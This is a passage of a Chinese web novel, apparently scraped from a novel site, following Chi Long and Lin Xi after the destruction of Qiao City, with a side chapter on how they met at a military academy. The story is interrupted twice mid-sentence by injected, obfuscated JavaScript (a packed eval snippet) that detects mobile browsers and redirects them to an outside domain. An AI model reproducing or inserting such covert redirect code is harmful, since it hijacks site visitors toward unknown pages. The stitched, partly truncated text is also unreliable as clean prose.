但说到用牺牲换取正常生活时两人都是沉默的。 “那里的人真的很奇怪,”最终,三殿下用这句话结束了交谈。 他明白三殿下的意思,认命、配合地感激王室、放弃为那群omega正名,正常而幸福的生活就唾手可得,在此基础上徐徐图之就是了。 但他们却选择在南墙上撞得头破血流,选择用见证者的生命换取一座城市的新生,不破不立,不死不生,但看起来,很不划算。 从此,王室的掣肘彻底消亡。 他说不出安慰的话,弱肉强食的不可抗现实,原来好像只是人性的卑劣。 自己也是卑劣的。他突然想起群初次见面的老人家,他们眼里的慈祥和真诚太过裸露,让人难以招架。 奇怪的,永远不是这样的人。林息想。 把头靠近肩膀上一抽一抽的脑袋,轻轻转动摩擦着。身体接触,是最适合此刻的无声安慰。 “谢谢你,”耳边传来喑哑的声音,林息愣了,他以为池泷终于要问自己刚才说的秘密,却没想到,“谢谢你愿意带我离开。” 一瞬间,他有些了然。 他想,乔城已然不在,那所有人都会认为,从秘密到把柄全都已经消失。 那就一定是消失的。 无论如何,也一定是消失的。 “另外,我还有事想问问你,”鼻音过重,林息慌忙点头,只听池泷问道,“埃德尔家族的那个义子,是不是有一双独特的墨绿色眼睛。” 不解其意,但林息还是回答了她。 “嗯。” 16.相遇(omega视角)[番外] 她总是和其他人不一样,林息烦恼地思考,从他第一次知道池泷时,就能感觉到她的特殊。 先是学校开始传言:大一机甲系学分组队,有一个奇怪的alpha非要选择一个疯子alpha和一个拖后腿的omega作为队友。 因为大一定好的小队基本不会变动,成员相互磨合,在大学四年间,做各种任务为毕业积攒学分,只有高分才容易毕业时被好单位录取。 因为选择队友的原因,导致这支小队劝退了很多人,本应该的五人满编队,最后只有这三人。 许多人都笑话那个alpha怕是疯了。 后来又听说这支队伍里,疯子alpha打近战位,omega打远攻位,重要的攻击位被不正常人占据,那个相对正常单脑袋有包的alpha虽然担任了队长、却去了辅助位。 许多人开始嘲笑他们:原来是“三个疯子聚一起”。 结果大一年末终考,这支三人小队学期末竟然是机甲系学分第一。 众人望着那一串对大一新生来说,还过于艰难的学分任务列表,一时间陷入沉默。 但不久后,学院开始传言是那两名有背景的非正常队友走了后门,风言风语,愈演愈烈,就在大多数人这种毫无根据的话愈加相信的时候,军部以雷霆手段镇压了这段谣言。 先是公布了三人做任务的实时录像,接着对传言的源头及传播者进行了开除处罚。 听到这个结果,林息表示不屑,中央军校直属军部管理,一向以公平公正著称,这一传言无疑是打了那位古板又严肃的军部长和军纪严明的探测队的脸,开除已经算是手下留情了,毕竟破坏军人荣誉,罪不可恕。 但这件事也引起了林息对于这支“三人小队”的注意。 本来进机甲系就是公认的“alpha专业”,这个专业里有omega就已经是稀少事件了,又担任重要的进攻位。 那名疯子alpha是众所周知的、白家的人肉武器,出了名的难以掌控,连白家自己也只能舔着老脸去迎合她。 很大可能,那名omega是白簇现居的尹家出身,因为她只对尹家的人能有好脸,但具体是尹家的哪一位,林息从来没去关注过。 没有作弊的话,就是实力强劲,尤其是队长的领导能力。 学校里的omega不多,稍微一打听就知道。 原来是同在学生会的尹霄,尹家掌家人的亲生omega儿子。 以前就有传言,尹家之所以接受白簇,就是为了改善基因,因为尹家掌家人尹默的亲生孩子正好是一名omega,但两家联姻并不是众人乐见的。 白家是妥妥的王室派,白簇的产生就是白家对崇尚武力的陛下最好的“献贡”,而尹家基本是中立,因此她和王室派、甚至王室的婚配才是白家和王室的初衷。 所以虽然不可控但基因“良好”的白簇一直尚未婚配或者生育,尹家也人没出嫁,就这么一直拖着。 尽管尹家“不检点”的小话,连普通市民也能路过说上一嘴,但就像尹默那年公开将尹霄定为家族继承者那样,虽然惊天动地,却没人敢在那位笑眯眯的外交部长面前多说一句。 因此,尹家权当不知道,收着白家流水般送来给白簇的各种礼物,过得那叫一个滋润。 跟优秀的omega交也好是林家的一贯宗旨,他观察了尹霄几天,加上同为omega,他俩很容易就成为了“朋友。” 至少面子上是这样。这位尹家继承者对自己,有种莫名的防备……和一点点崇敬? 相处中,林息发现尹霄总是若无旁人、见缝插针地夸奖着一个人,那个人叫池泷,是他们的队长。 这是他第一次听见那位预期具备超强领导能力的队长名字。 而尹霄之所以对自己带点好感,主要原因也是池泷一直对自己赞赏有加。 但林息闻言,心里本应产生开心,进而有礼地表达谦逊。 这次却只是点点头,他好奇:什么样的人,能让人无条件相信她所相信的呢? 第二次听到这个名字,是他第一次见到池泷。 大一那年的年末终考,除了这支三人小队,就是位列机械系第一又是omega的林息占据了风头。 同样的,他也成了同窗的眼中钉。 本来因为家里的事,他从小就习惯处于风口浪尖,而为了这些事他又必须保持极度优秀,因此早有准备会成为被攻讦的对象。 但那天,他路过成绩投影屏所在的学校广场时,远远看到有一群人在围观什么。 他不喜欢热闹,却鬼使神差地停下脚步。 看到被围在中间的,好像是一个墨发黑眸的alpha女性,在单方面殴打另一个人。 “很漂亮的颜色。”林息想到的第一句话是这个。 他有些失笑,在这个生物无敏感染色剂泛滥的时代,除了贵族世家会保持自己的本色以外,其他人都会随意将五官、头发、皮肤等染色。 尤其是黑发黑眸,因为接近古星人的外貌,格外受人追捧。 “这家染色剂倒是格外自然,怕是花了大价钱。”林息为自己莫名其妙的夸奖找补。 下一秒,有好事者将殴打画面,代替成绩公开,投屏到了广场屏幕。 “承认别人优秀有这么难吗?啊?酸什么酸?有种你自己考个第一看看啊!”那个alpha冷笑着,一拳接着一拳地揍向身下的人。 绑起的墨发胡乱地在后背散开,看上去有些疯癫:“omega怎么了?谁规定omega不能考第一?谁规定的?啊?说话啊!” 这样嚷嚷着,手头却没停过,打在肉上的沉闷撞击声,咚咚咚得让人听着都汗毛竖起。 好像打了挺久,有点打累了的alpha停下甩甩手,手背上的指节都有些发红。 她随意一抹额头上汗湿的碎发,又伸出手指对着身下轻点,这个动作配着她轻蔑的表情,无疑是最明显的挑衅,“不会就是像你这样,只会躲在阴沟里说三道四,却无能为力的臭虫默认规定的吧?” 说完这句,她抬头,一边吆喝“有谁不服吗”,一边眯着眼睛逐个看向围观的人。 或许是被她的势头吓住了,或许是她看上去真的像一个疯子,周围的人纷纷避开了她的目光。 当她的脸转到自己这里时,林息十分肯定,他看到了那张嚣张的脸瞬间龟裂,错愕、怀疑、惊讶、紧张、羞愧,按顺序出了个遍。 就在这时,地上一直毫无还手之力的人,趁她愣神时,回了她一拳。 林息的心也瞬间提起,莫名暗火。 好在那一拳只是软绵绵地打在腹部,她缺顺势夸张大叫着“打死我了”,然后夸张地倒下。 明明知道有假,林息却忍不住皱眉担心,应该不会这么痛才对。 却瞥见远处负责机甲系秩序管理的老师走来,他又瞬间恍然。 眼看着老师将地上的alpha拉起来,数落着“你说你这么乖的学生怎么还打人呢?”,又看了地上的人一眼,一脸无奈:“还打人家机械系的人,你要不要脸了啊池泷!” “他们在说人小话,我这也是替天行道,再说他还打我了呢,”看着这个alpha假装虚弱,却丝毫不落下风地回嘴,林息忍不住轻轻勾起嘴角。 接着她被老师扶走远去,原地剩下机械系的同学才七手八脚地去扶地上的人,结果正好看到了身后的自己。林息看着他们,他们却下意识躲开自己的目光,甚至都不敢窃窃私语。 林息不在意地走开了,离开时他想着“原来她就是那个池泷,那个奇怪的疯子。” 接着,他又觉得,或许自己该找老师去机甲系一趟。 第二天,尹霄嬉皮笑脸地跟自己说:“会长,昨天放榜嘛,你们专业有人说你坏话,我池姐给你出气了!”看着尹霄与有荣焉的表情,林息没回话,尹霄像往常一样继续夸奖她:“我早就说,她人可好了,敬老爱幼、爱护同伴……”。 剩下的话林息没仔细听,他早就调查清楚昨天的事。 对于那份成绩,有人说是自己靠家里的资源,还有人说是靠着一些不知廉耻的交易等等换来的,林息都能想象出那些人脸上猥琐的表情。 或许正好被正站在屏幕前的池泷听见,据说当时她二话不说,直接把说这些话的人放倒狠揍了一顿,顺带警告了其他人。 毕竟机甲系是学校的王牌专业,学生毕业后大多数会进入军部。 陛下崇武,军部缺人,二者都极其器重武器及兵士,机甲系学生的身价也跟着水涨船高。 再加上系里大多数都是武力值较高的alpha,老师们也极其护短。其他专业一般情况下绝对不会选择招惹他们。 再说,池泷那组人是公认的“疯子三人组”,谁会跟这样的人过不去呢? 所以,昨天林息去找老师,听见她无奈说道“机甲系是活在校规之外”的时候,才放下心。 面对老师“你什么时候关心别的系了”的调侃,林息露出恰到好处的抱歉表情:“毕竟是因我而起,我心里实在过意不去,想去机甲系那边找老师来着,又怕会不会打扰别人失礼。” 赚了老师一波大好感。 尽管老师的眼神仍旧是那种令人讨厌的“你要是个alpha绝对有大出息啊”表情。 他知道自己在星网上有各种性别的拥护者,大家隔着虚无的网络,悄悄表达着各式各样的支持。 但现实生活中,他和他们从未有过任何交集。 这是林息第一次遇到如此明显张扬为自己出头的人。 这很容易让她成为众矢之的。 但据尹霄所说,她又好像会为任何受到不平等对待的人出头。 比如尹霄和他的alpha。 “但尹霄从没说过她从未为他们打过架,”林息有点高兴地找到了不同点,打开手里那份学生会收集的学生资料,墨发黑眸的人在照片上笑得阳光灿烂。 池泷,星际86年机甲系学生,入学排名992,理论成绩排名990,实操排名980,第一学期终考排名989,年末中考排名第1,除了最后一句,在学生总数2000多的机甲系,她显得那么不起眼。 经过这次考试,很快他们就会异军突起了吧。 但想起他们队里的omega,又觉得他们的出头前路漫漫。 “不起眼也挺好。”林息望着那张照片,悄悄将这个小小嫌疑拥护者的资料记住,“ 平心而论,经过这件事,从大一下学期开始,明面上却已经没人敢当面对林息大放厥词,这帮他省下了面对各种流言蜚语的心力。 于是他也拦下那份仗着家世好想让池泷记过的小人的申诉。 没有惊动林家,他偷偷找到姨妈,请她秘密地将这件事压下。 看着姨妈打趣的神色,林息无奈,他只是想悄悄报答一下自己这个平凡的、不起眼的、好像有点珍贵的嫌疑支持者。 自认为将二人的恩情相互扯平,关系恢复平等后。林息却开始有意无意地关注池泷。 一方面他希冀池泷像自己怀疑的那样是自己的支持者之一,一方面他又不敢确定池泷的所作所为到底是否真的出于真心。 会演戏的人太多,只是这一次,林息没法轻易地一次就看穿她的目的。 渐渐林息发现,池泷或许真的不是他的支持者。她就是单纯地比较善良。 遇到强迫omega或者beta的人,她就会随意出手帮一下,因为“疯子”的名头和机甲系的含金量,对面往往不战而逃。 她不参加任何派对或者交际酒会,却出现在每一堂课上,很少缺席,认真学习的样子显得十分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654289|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稀罕。 对战练习中,她会倾听尹霄的意见,放心让他去发挥,自己打好辅助位。三人没有固定的指挥位,但好在商量速度奇快,经常是由队长一锤定音。 有人对此指指点点,她也会拦住脾气暴躁的白簇,自己反唇相讥得对面哑口无言。 她尊重每一个对手,练习时往往就点到为止,不会随便将对方的机甲弄坏。 甚至遇到实战受伤的alpha,她从来没有讽刺或者炫耀,连这样的玩笑都不会开。 还会多嘴问一句:“要送你去医务室吗?”因为表情正义真诚,俘获了同学的好感。 她很好养,什么都能吃,会做饭,尹霄说味道极好。 她认真学习,但自从年中考后,成绩却一直处在中游,尤其不擅长机械相关的科目。而且三人的成绩,也在那次第一的辉煌后,恢复到了中不溜的水平。 面对旁人“瞎猫碰死耗子”的讽刺,三人毫不理会,反而林息有时候听到,还会回一句“至少说明有潜力啊”,可父亲也这样说时,林息心中却只敢默默气愤。 她不接受尹霄和白簇在金钱方面的帮忙,只会到处接委托,把攒下的钱一部分寄回老家,剩下的基本都用于找机械师完善她的机甲,没有什么其他的娱乐。 她来自荒星,一个贫穷的地方,应该买不起那么自然的染发剂,往往尹霄会解释是白簇拿给她的。 林息对此,没有深究。 遇到表白的人,不论家世外貌,她都会有礼貌地温声拒绝,走的时候再真诚祝福对方学业有成。 意外地,她在学生中间风评还挺高。 再加上与猖狂违反校纪校规的同学相比,池泷竟然算是比较遵守学校规章制度的那一类,这让她在老师中的评语也不错。 只不过所有人在夸她之后,都会叹气带上一句:“可惜拿前途开玩笑,跟别人组队的话,进军部也不难。” 她和这个战乱百年仍未找到出路的时代格格不入。 人人都忙着从有限的资源里抢到属于或者不属于自己的那一份,不在乎除了自己之外的任何事。 帮助无辜路人就容易被卷进是非,让omega参与实战甚至指挥显得疯狂又软弱,送对手去医疗就是减少自己上进的机会,这很不划算。 吃饭不过是一袋营养剂的事,为了好吃而浪费时间去做饭无疑也不划算。 甚至不如随意地开启一场恋爱或者身体的愉悦。 天赋、分数、资源、人脉,大多数人进入这所军校追求的绝不可能是学业有成。 他们要往上爬,而不是永远在900名之间闲吊着,只能去边远地区的军队或者做一个卖命的雇佣兵。 但每一日、每一日……天天她都坚持这样做。 “至少她真的是个好人,”林息想,虽然失落,但他的感觉没错,初次见到她时,他就没有任何负面的情绪和感知,也没办法从她的眼中感到那种见不得人的黏腻。 而经过长久的观察,她就像一个来去无踪的游侠,在江湖里滚过一滚,不图名不图钱地解决一些不平事,或许就要踏上回家的路。 家在哪?会是她那个关系极好的beta姐姐吗? 有一天,尹霄一脸秘密地跟自己说:“会长你知道吗?我在池姐的光脑里发现了你初中时那场全星际直播演讲的视频!就是那场振聋发聩的演讲!” 哦,那场演讲,林息在心里嗤笑了一声,那是自己生平第一次也是最差的一次演讲。 “经过我的连续逼问,池姐果然吐出实情!因为那场直播,她真的很敬佩、欣赏会长你啊!”尹霄笑得像一只偷到了灯油的小老鼠。 “我就说她一个科技白痴,竟然能找到高清版本还偷偷收藏。这场录播在星网上可都快要绝迹了啊。”说着,尹霄叹气着摇摇头,“明明我这儿就有啊,池姐却傻得不行,连问不问就花300星币从一个二道贩子手里买,难为她这个平日节省的人竟然有这么大手笔的支出。” 不过尹霄说完就开始捧腹哈哈笑,边笑边说:“她那里还有会长你从初中各种新闻到我校开学典礼上演讲的官方照,笑死我了,她好像真的很崇拜和迷恋你啊。” 反而林息悄咪咪地有些生气,他不懂这件事有什么好笑的。 她被人骗,作为朋友不是应该生气心疼吗? 而且最重要的是,这件事还因为自己,那场一无是处的演讲,真的有她认为的那么好吗? 他看着尹霄那张从来开朗的脸,第一次觉得有些碍眼。 但下一秒,尹霄就走到林息前面站定,两人面对面,林息听见他说:“今晚要一起吃个饭吗会长?我们四个一起。” “好。”林息甚至没有犹豫,想也没想地答应了,心情瞬间晴朗,琥珀色的眼眸却狠狠压制着,怕那股喜悦漏出一点。 说完才想起自己晚上还有家教学习、还要复习、还有……可就这么一晚上,大不了明天补回来就是了。 他看着尹霄更加阳光的笑脸,心中感慨,果然是个心善的美人,难怪白家的那个alpha如此迷恋他。 又想到池泷,他给她的评语又加上一条“至少是个好人,虽然有点变态。” 一切本应该按照这个计划进行,他和池泷或许能加上光脑号,或许能成为要好的朋友。 直到那个很重要的晚上,他接到父亲的通知回家。 第二天,王室宣布了他作为三殿下的伴侣候选人之一。 林家开始为他造势,他其实早已学完大学的课程,却仍旧坚持回学校。 尹霄却再也没有邀请过他聚餐。 直到自己走投无路时,热意上涌,烧得他迷迷糊糊地想,明明偷偷藏着许多关于我的资料,池泷那样的人,有什么理由不能成为我绝对的拥趸呢? 琥珀色的眸子,被一种难以摆脱的黏腻逐渐覆上。 17.第 17 章 “尊贵的斯特拉殿下,欢迎进入比熊空域,祝您在此旅途愉快。” 温柔的AI女声是塔台向机甲发送的欢迎语,林息感觉围住自己的手臂松了松。 终于到了,明明时间不长,但直到进入比熊星域,林息和池泷才松了口气。 “进入VIP通道,屏蔽捕捉感应,关闭影像摄制。” “好的,马上为您服务。” 跟塔台交代完这些,机舱重新恢复安静。 从池泷问完那个问题开始,两人或许都各自想着自己的事,没再说话。 此时,林息却觉得这种安静有点难熬,他再次确认机甲此时已经开启隐身状态,便忍不住说道:“机甲在三殿下名下。” 说完他愣了一下,不知道为什么自己要解释这个。 幸好身后的人没有接话,他清了下嗓子,赶紧岔开话题:“两分钟后就会登陆比熊星。” 说完这话,身前的手臂彻底离开了。 离开拥挤紧箍的怀抱,林息心中罕见地划过一丝遗憾,快速但够清晰,他眉峰轻蹙,这样陌生的感觉不太让他喜欢。 只是此刻不是考虑这些的时候。 “我关闭了影像采集,你使用VIP通道离开,路上不会遇到其他人,剩下的事你也不需要再管。”说完这句话,机甲就降落到三殿下专属的登陆台,林息熟练打开机甲通道,这才从池泷腿上起身。 回身望去,原来她竟然是一副这么平静的表情。 林息看着这个alpha,她的眼底古井无波,像一个陶瓷小人一样安静地坐着,如果不是眼角极其轻微的泛红和脸上稍稍汗湿的额发,轻易看不出刚才她曾那样压抑地激动过。 伸手将她凌乱的头发抚平,果然,是和想象中一样顺滑的手感,林息没有轻易放开,一直将额发梳理得温顺整齐后,指尖才顺着太阳穴划到眼角,冰凉的食指轻轻碰了碰。 “该走了”,他这样说着,手却迟迟没有离开她的脸。 最后还是池泷将他的手拿开,她慢慢起身,整理了身上皱皱巴巴的衣服,尤其使劲儿平了平凌乱的裤子,冲他点了两下头后,才走向通道。 听见机甲通道开合的声音,林息轻轻叹了口气,坐回刚才的位置。 直接接触到操控椅,触感过于坚硬。林息不舒服地动了动,想着或许“凌光”的座椅也可以改进一下。 好在此时这里还能闻到暴雨骤停的湿润感,他唇角微勾,不再计较座椅的软硬,玉白骨长的手指飞快操作,将机甲的内部影音记录备份至池泷给的那块储存卡。 察觉到自己好像在笑,林息再次怔了一下,手下的动作也缓慢了不少。 开学前还是不要联系了,他告诫自己,精致的脸也恢复到疏离的模样。 正好开学前,他还有一大堆被抛弃的工作要做、许多与此行相关的记录要销毁。 更重要的是,他看向已经合起来的机甲通道,他觉得池泷应该并未全然相信自己的行为动机,可从启程到降落,她没有质问、没有指责、没有失望,一如往常。 能感觉到她很相信自己,林息再次努力压了压不听话的嘴唇,手指又开始跳动得像是在弹奏一首欢快昂扬的乐曲,继续将机甲里的记录彻底摧毁,然后嵌合上早已备好的、两天前林息独自一人到达比熊星的影音记录。 快速敲击的指尖勾勒着屏幕上花花绿绿的代码,时间线、影像合成等等,各种小细节都在被缜密又快速地完善着,复杂的工作仿佛不需要经过大脑的思考,就像单纯依靠肌肉记忆一样地顺滑。 林息一心二用,一边编辑着跳动的字符,一边思考着自己的异常。 生活中出现陌生、难懂的事情最好快速解决,不然很容易留成问题,这么多年的经历让林息深刻明白这个道理。 但奇怪的,这种对于自身内心的探究同时引起了心底的抵抗,想梳理又不想被梳理的矛盾感让林息觉得不解。 他忍下所有不适,从头到尾将他和池泷的交集捋了一遍,想起她那声“谢谢你”,他眉尾轻挑,抓不住心底一瞬间划过去的感受,却突然想通。 应该就是因为像机甲系的小队队友一样被信任和依靠,所以自己才会觉得开心和留恋吧。 他快速收拾着机甲内部属于池泷的痕迹和气味,将它们做成只有他自己来过的样子,心中为找到合适的原因而觉得无比轻松。 所有的事情仍在自己的掌控内,离开机甲时,林息恢复自信,虽然不明白为什么池泷如此轻易地对自己放心,但取得信任是第一步也是最重要的一步,总归是好事。 毕竟是未来她一定要成为自己的坚实拥趸。 去往塔台前,林息在机甲腿旁站了一会儿,望向月轨三线的方向,琥珀眼眸被巨大的机甲阴影覆盖,变得深沉模糊。 他摸上“凌光号”冰凉的腿部,手指轻轻敲了两下,下一刻毫不留恋地转身离去,步伐坚定。 另一边。 果然和林息说的一样,池泷这一路上畅通无阻,也没遇到任何人,于是中途她开始放慢脚步,VIP通道的空气交换机功能高效,走到出口时身上的崖柏味道应该就不存在了。 她握紧口袋里的储存卡,锋利复杂的纹路让手指传来尖锐的疼痛,林息的抚慰确实起到了极大的作用,她的心情已经不会像一开始那样不受控地进入暴动。 解开负面情绪绑架,她尽力分出一些理智去考虑现下的情况。 自己手里的这块东西,可能具有颠覆政权的力量,长期以坚毅宽厚面貌示人的王室,背地里踩着平民的白骨血肉上位,又暗地折断寻求公理的脊梁。 这件事的落幕算不上完美,埋仇和复仇,最后两败俱伤,尽管最后乔城用自己的方式去赎罪,池泷也没办法替无辜死去的人选择是否原谅他们,但她现在却能选择是否替乔城原谅。 但池泷首先想到的是,如果乔城赎罪了,那么王室也应该得到相应的处罚。 这一笔笔如果曝光公示,议会、公民,尤其是军部,绝对不会放过王室,但那必定将会掀起无法预计的腥风血雨,派系争斗、军力冲突、口诛笔伐、抗议游行,不见血是不可能的,重重牺牲暴力后,或许王室最终会站在审判台上,乔城可以得到迟来的公义。 那么,寻找一个合适的曝光者和曝光时机就格外重要。 她从未想过自己要成为“英雄”,抛开无厘头的“神谕”不谈,在她看来,自己本质就是一个普通人,她有恩重如山的亲人、有亲如手足的朋友、有渺小安稳的理想。 面对不能预料的动乱,所有人必将不可避免地被卷入,哪怕不露面,作为源头的自己说不定也会首当其冲。 风雨飘摇的时候,有几分把握不会有更多的无辜者死去,又有几分把握不连累家人和朋友。 因此,一路上她思考了很多人,凭借自己对权力和势力的了解,觉得出身非王室军又兼任议员的军部部长和林家应该是眼前最好的选择。 但她又十分犹豫,担心对权势过于表面的了解会让自己所托非人。 而且——乔城的人也并未要求一定要公开不是吗?他们只是想被“记住”,只要一直保留着储存卡不就可以了吗?未来说不定有人能接手这份记忆呢? 矛盾的心情,令池泷痛苦极了。 在路上,她无数次想着“就这样把它交给林息”,又无数次想起乔城发生的点点滴滴,仿佛已经陷入了暴雨龙卷的中心。 一直到离开“凌光号”,她也没有决定。 尤其是离开之前,不知道是不是她的错觉,林息的眼神里带着温柔的缱绻,她慌张极了,假装平静地整理衣物,不敢对视林息的眼睛,只能匆匆点头离开。 她无比自责曾经想将这么危险的东西,交给这样一个已经生活不易却仍旧包容温和的人。 靠近并安抚极度暴躁的alpha绝对不是一个明智的选择,自己已经欠了他一个极大的人情。更遑论先前那些不该发生的纠缠。 越临近出口,池泷的脚步越沉重,她停在检测仪的入口前,看着脚尖,再走一步,好像就能回到那个熟悉、确定的世界。 心跳极快,鼓膜好像又传来和心率一样过度跳动的声响,池泷屏住呼吸,极力平复胸口不断上涌的酸涩。 “池姐!!”熟悉的声音传来,池泷刷地抬头,很奇异地,白簇和尹霄正站在不远处,她看到尹霄挽着白簇的胳膊,一脸笑意地踮着脚,正在冲自己大幅度摆手。 看她不动,白簇又冲自己招手,“喂!”英气利落的声线恍若隔世,火红的颜色明亮又热烈。 耳边传来“检测合格”的提示音,等她回神时,才发现他们三个已经紧紧抱在了一起。 “才半个月……没见……池姐你……这么……想……我们?”尹霄费力说道,因为个子矮,他此刻脑袋正紧紧埋在三人中间,好像有点窒息,但抱住两人的手却没放下。 “伤?”白簇一如既往地惜字如金,漂亮的手指揉揉池泷的脑袋。 “我没事,也没受伤。”看着两位老友,池泷的心里好像突然有了着落,这个三角形的怀抱好像可以遮蔽一切不安和焦虑。 “走”,还是白簇率先将三人分开,将尹霄从中间拽出,往身前一放,转头往前走。 “去哪儿?”池泷脑袋发蒙,匆匆跟上。 “呼……当然是回家啦!”恢复正常呼吸的尹霄开始说个不停,“你知道我们听说乔城爆炸有多担心你吗?好怕你没跑出来。” 他深深呼了一口气,手掌不停抚着胸口,语气带上几分责怪,“真是的,朴哥这次找的什么委托嘛,一点也不靠谱。” 随着尹霄说话,他头顶刚才因为拥抱被翘起的灰色呆毛也一甩一甩,看上去有点轻快。 两人跟在他身后,池泷听见这话,忍不住找补:“本来委托难免会有意外……” “可没有这么危险的意外啊,”前面的人直接打断池泷发言,他站定回身,双手夸张地来回比划着圆,气愤指责,“我们还是学生,学生!哪有给学生派这么恐怖的委托的!” “万一你真的……”灰色的脑袋低下去,连呆毛都不动了,手指不断卷着工装裤的衣袋绳。 “哎……我……”池泷开始结巴,她知道尹霄不是真的怪朴人间,只不过太担心产生的火气总得找一个替罪羊。 她看向白簇,希望她能安慰下她自己的未婚夫,结果看到那张御姐脸也是严肃的深以为然。 “我以后会注意的。”二比一,服从多数,池泷小心保证。 心中发软,池泷才发现他们两人的穿着是平日里小队做委托的装扮,迷彩服、工装裤、军靴、多功能腰带,怕是已经做好要进入爆炸区救自己的准备了。 一个小黑影在空中划过弧度,听见声音的尹霄抬头接住白簇扔来的飞艇卡,她摸摸尹霄的头,轻声说了句: “广场。” 尹霄没再说话,转身去找飞艇,直到他的身影消失在通道口,池泷的肩头突然被重重搂住,她转头,看见白簇那张酷脸上的表情比刚才更加严肃。 被白簇突如其来的亲密弄得摸不着头脑,池泷刚准备开口询问,就听见对方说了句:“我很强。” 这下更摸不着头脑了。 正哭笑不得地准备接“我知道”,池泷突然反应过来,自己刚才在出口的情形,尹霄或许看不清楚,可在“军校最疯alpha”的白簇眼中,只怕是暴露无遗。 难怪她要把尹霄支走。 肩膀再次被用力握了握,池泷明白了白簇的意思:我很强,有能力帮你解决所有事。 还是让他们担心了啊,怕被白簇发现,池泷忍住想去抚摸口袋的手。 三人的相聚让池泷安定了不少,刚才被情绪再次裹挟的大脑终于冷静下来。 无论这件事自己最终会怎么选择,总归不是一件小事,不可能一朝一夕就办成,还需要细细思考和谋划,因此现在就逼自己做决定只会徒增焦虑,没有任何帮助。 唯一明确的,就是家人和朋友,是永不能被侵犯的底线。 如果不是他们,自己早就应该在六岁那年死去,更不会拥有温馨的学校生活。 虽然她自认胸无大志,年轻军人的热血坚毅却也不是没有,但是天平的另一端是不能舍弃的牵挂,如何做出选择或者寻求一个平衡点,都不是现在的她能轻易做到的。 并且,匹夫无罪,怀璧其罪。保护自己也好,保护他人也罢,知道这件东西的人必须越少越好。 “谢谢你,阿白。但我真的没事。”反手握回白簇的肩膀,池泷没打算说出真相,她笑着说:“走吧,回去。” 从哪张毫无表情的脸上,看不出白簇信了没有,但她也没再追问,只是带着池泷往广场走去。 路上打量四周,池泷发现从出口到广场还是空无一人,难怪刚才只能听见他们仨又跳又叫。 坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我欠了他好大一个人情,”回想起乔城的经历和“凌光号”,池泷只觉得心里愈发朦朦胧胧、说不清楚,“你们也知道,他一直都是个很好很好的人,就顺手把我捞出来了。” “噢……”挑着眉轻轻点头,尹霄有点遗憾地嘟囔,“还以为你们……” “什么?”池泷不解。 “没什么,你说得对,会长还挺乐于助人的。”尹霄随便敷衍道。 作为当年池泷“失恋”的见证人,尹霄虽然由衷认为会长和池姐确实般配,可他也清楚且不论他俩的身世差距,就是林息也不可能是个简单的人。 他有点担忧地看向医疗仓里正乖乖接受治疗的池泷,只有这家伙,明明别的方面都还挺机灵的,唯独遇上林息,总是一股脑地觉得这个能在一众alpha贵族里杀出重围的人,是个单纯的“好人”。 曾经也不是没想过帮他俩牵线搭桥,可谁知约饭当晚,林息说了声有事不能来,结果第二天王室直接宣布林家是三殿下的婚约备选人。 这个消息倒也没有多出人意料,林家虽然是平权先锋,可跟王室的关系也算得上密切,三殿下和林息是正儿八经的青梅竹马。 但那段时间他在池泷面前乖巧得不行,尽管池泷那时什么也没说,也没什么悲伤的反应,和往日几乎没有任何差别,他也不敢再像以前一样叽叽喳喳。 这事儿说白了还是怪自己,不小心在池姐光脑里看见那段演讲录像,她又单方面为林息出头,让自己以为池泷对林息有那么点意思。 自己为此还在林息面前好一顿试探,发现林息竟然比自己想象中还要了解池泷,所以他觉得两人或许是有那么丁点儿可能的。 结果…… 不过这样也好,尹霄转头看向仍旧在看风景的白簇,他比谁都明白,不遵守世道的alpha和omega在一起,哪怕二人家世相当,也需要经历始料未及的沉重。 林息出现在乔城,可能不是王室的意思,但一定有三殿下的推波助澜,尹霄心中讥讽,这次就全当是巧遇吧,反正开学后他们之间也不会再有什么交集。 林息为人深沉,但风评很好,从没听说他做过什么不地道的事,所以应该不屑于挟恩死缠。 三人不再说话,飞艇按照既定路线回到尹霄的别墅,池泷从医疗仓中起身,自己并未被爆炸波及,但尹霄仍然坚持要她在艇内洗澡换衣服,大约有个“跨火盆”、“重新做人”的期待在里面。 幸好这艘飞艇是白簇自驾游用的,不然设施怎么可能这么齐全,再次感动于好友假期未完就直飞比熊的仗义,池泷乖乖听两人安排。 “你先回家,我和阿簇要先回老宅一趟,两家吃个晚饭,”尹霄指挥白簇将飞艇中行李搬回去,禁止池泷动手,“家政机器人找人修好了,要吃什么就吩咐它们,吃完就去休息,房间早收拾好了。” 尽管池泷一直住校,偶尔小队做任务才会住在这里,可白簇和尹霄仍旧坚持给她收拾一处房间。 “不要自己动手,”尹霄伸出食指摆了摆,白簇顶着一张面无表情的脸做了同样的动作。 乖乖点头,池泷嘴角忍不住勾起,在二人注视下,向屋里走去。 看着熟悉的房间,她突然感觉前半个多月经历的所有好像都难以想起,什么也不想思考,脑袋混沌,躺在柔软的大床上沉沉睡去。 一切,都等睡醒后。 在她走后,白簇和尹霄同时收起笑容,飞艇再次缓缓升起。 白簇坐在驾驶位上,左手食指在操控杆上轻点两下。 “我也想知道她发生了什么,”尹霄皱眉,“可你看她那样儿,明摆着不愿意讲。” “……”白簇挑了一边眉毛,左手食指点得更快了。 “我哪敢问,你自己怎么不问呢,”想揪白簇胳膊上的肉,却发现对方臂膀硬邦邦,弄得自己手指都疼,尹霄更生气了,“逼她干什么,她不说只能说明这事儿挺严重,不想连累我们。” “……”白簇拿过尹霄刚刚揪过自己的手指,轻轻搓揉着。 